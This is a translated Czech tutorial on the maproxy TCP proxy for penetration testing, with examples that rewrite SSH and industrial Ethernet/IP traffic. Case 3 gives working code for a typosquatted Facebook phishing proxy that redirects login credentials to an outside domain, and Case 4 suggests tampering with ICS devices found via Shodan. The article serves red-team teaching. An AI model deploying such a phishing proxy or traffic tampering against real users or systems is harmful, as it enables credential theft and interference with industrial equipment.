Překlad článku byl vyhotoven před začátkem kurzu .

Abstrakt
Různé druhy hodnocení bezpečnosti, počínaje pravidelným testováním na prolomení a operacemi Red Team, až po hackování zařízení IoT/ICS a SCADA, zahrnují práci s binárními síťovými protokoly, tedy v podstatě zachytávání a modifikaci síťových dat mezi klientem a cílem. Snížení síťového provozu není složitý úkol, protože máme k dispozici nástroje jako Wireshark, Tcpdump nebo Scapy, avšak modifikace se jeví jako úkol náročnější, neboť budeme potřebovat jakýsi rozhraní pro čtení dat sítě, jejich filtrování, změnu za chodu a zpětné odesílání na cílový hostitel téměř v reálném čase. Kromě toho by bylo ideální, kdyby takový nástroj mohl automaticky pracovat s několika paralelními spojeními a měl možnost přizpůsobení pomocí skriptů.
Jednou jsem objevil nástroj, který se nazývá , dokumentace mi rychle ukázala, že maproxy – to je přesně to, co potřebuji. Je to docela jednoduchý, univerzální a snadno konfigurovatelný TCP proxy. Tento nástroj jsem testoval na několika dost složitých aplikacích, včetně ICS zařízení (které generují hodně paketů), abych zjistil, zda může pracovat s mnoha paralelními spojeními, a nástroj se ukázal jako velmi schopný.
Tento článek vás seznámí se zpracováním síťových dat v reálném čase pomocí maproxy.
Přehled
Náklad maproxy je založen na Tornadu – populárním a vyspělém asynchronním síťovém rámci pro Python.
Celkově může pracovat v několika režimech:
TCP:TCP– nešifrované TCP spojení;TCP:SSLaSSL:TCP– s jednosměrným šifrováním;SSL:SSL– obousměrné šifrování.
Dodává se ve formě knihovny. Pro rychlé spuštění můžete využít příklady souborů, které reflektují základní :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Případ 1 – jednoduchý obousměrný proxy
Na základě tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Ve výchozím nastavení ProxyServer() přijímá dva argumenty – místo připojení a cílový port. server.listen() přijímá jeden argument – port pro naslouchání příchozímu spojení.
Spuštění skriptu:
# python tcp2tcp.py Abychom provedli test, připojíme se k místnímu SSH serveru prostřednictvím našeho proxy skriptu, který naslouchá na 2222/tcp portu a připojuje se na standardní port 22/tcp SSH serveru:

Úvodní banner informuje, že náš vzorový skript úspěšně proxoval síťový provoz.
Případ 2 – modifikace dat
Další demo skript logging_proxy.py je ideální pro interakci se síťovými daty. Komentáře v souboru popisují metody třídy, které můžete modifikovat pro dosažení svého cíle:

Nejzajímavější je zde:
on_c2p_done_read– pro zachycení dat ze strany klienta na server;on_p2s_done_read– naopak.
Zkuste změnit SSH banner, který server vrací klientovi:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Spusťte skript:

Jak vidíte, klient byl zmaten, protože jméno SSH serveru bylo změněno na "DumnySSH".

Případ 3 – jednoduchá phishingová webová stránka
Existuje nespočet způsobů využití tohoto nástroje. Tentokrát se zaměříme na něco praktičtějšího z oblasti operací Red Team. Pojďme napodobit landing page m.facebook.com a využijeme vlastní doménu s úmyslnou chybou, například m.facebok.com. Za účelem demonstrování předpokládejme, že doména byla registrována námi.
Chystáme se nastavit nešifrované síťové spojení s naším proxy oběti a SSL Stream pro Facebook server (31.13.81.36). Aby tento příklad fungoval, musíme změnit HTTP host header a implementovat správné jméno hostitele, navíc deaktivujeme kompresi odpovědí, abychom získali snadný přístup k jejich obsahu. Nakonec změníme HTML formulář, aby se přihlašovací údaje posílaly nám místo Facebook serverům:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Nakonec:

Jak vidíte, úspěšně jsme mohli změnit originální stránku.
Případ 4 – Poškození Ethernet/IP
Dlouho jsem pracoval s průmyslovými zařízeními a softwarem (ICS / SCADA), jako jsou programovatelné řídicí systémy (PLC), vstupně-výstupní moduly, pohony, relé, programovací struktury a mnoho dalšího. Tento případ je určen pro ty, kdo mají rádi průmyslové věci. Hacking takových řešení zahrnuje aktivní práci s síťovými protokoly. V následujícím příkladu bych chtěl ukázat, jak můžete upravit síťový provoz ICS/SCADA.
K tomu budete potřebovat následující:
- Síťový sniffer, například Wireshark;
- Ethernet/IP nebo jednoduše SIP zařízení, které můžete najít pomocí služby Shodan;
- Náš skript na bázi
maproxy.
Nejprve se podívejme, jak vypadá typická identifikační odpověď z CIP (Common Industrial Protocol):

Identifikace zařízení se provádí pomocí protokolu Ethernet/IP, což je rozšířená verze Ethernet protokolu pro průmyslové účely, obalující řízení protokoly jako CIP. Chystáme se změnit určené identifikační jméno, které je viditelné na snímku obrazovky "NI-IndComm for Ethernet" pomocí našeho proxy skriptu. Můžeme znovu použít skript logging_proxy.py a podobně upravit metodu třídy on_p2s_done_read, protože chceme, aby na klientovi bylo viditelné jiné identifikační jméno.
Kód:
[…]
def on_p2s_done_read(self,data):
# částečná náhrada odpovědi
# Kontrola, zda jsme dostali odpověď na zprávu List Identity
if data[26:28] == b'x0cx00':
print('Získána odpověď, nahrazení')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
V podstatě jsme požádali o identifikaci zařízení dvakrát, druhá odpověď byla originální, první byla modifikována za běhu.
A nakonec
podle mého názoru maproxy užitečný a jednoduchý nástroj, který je také napsán v Pythonu, takže si myslím, že i vy byste mohli mít prospěch z jeho používání. Samozřejmě existují složitější nástroje pro zpracování a úpravu síťových dat, ale také vyžadují více pozornosti a obvykle jsou vytvářeny pro konkrétní scénáře použití, například , nebo pro případy podobné třetímu, nebo pro poslední případ. Tak či onak, pomocí maproxy můžete rychle realizovat své nápady na zachycení síťových dat, protože příklady skriptů jsou velmi názorné.
Zdroj: habr.com
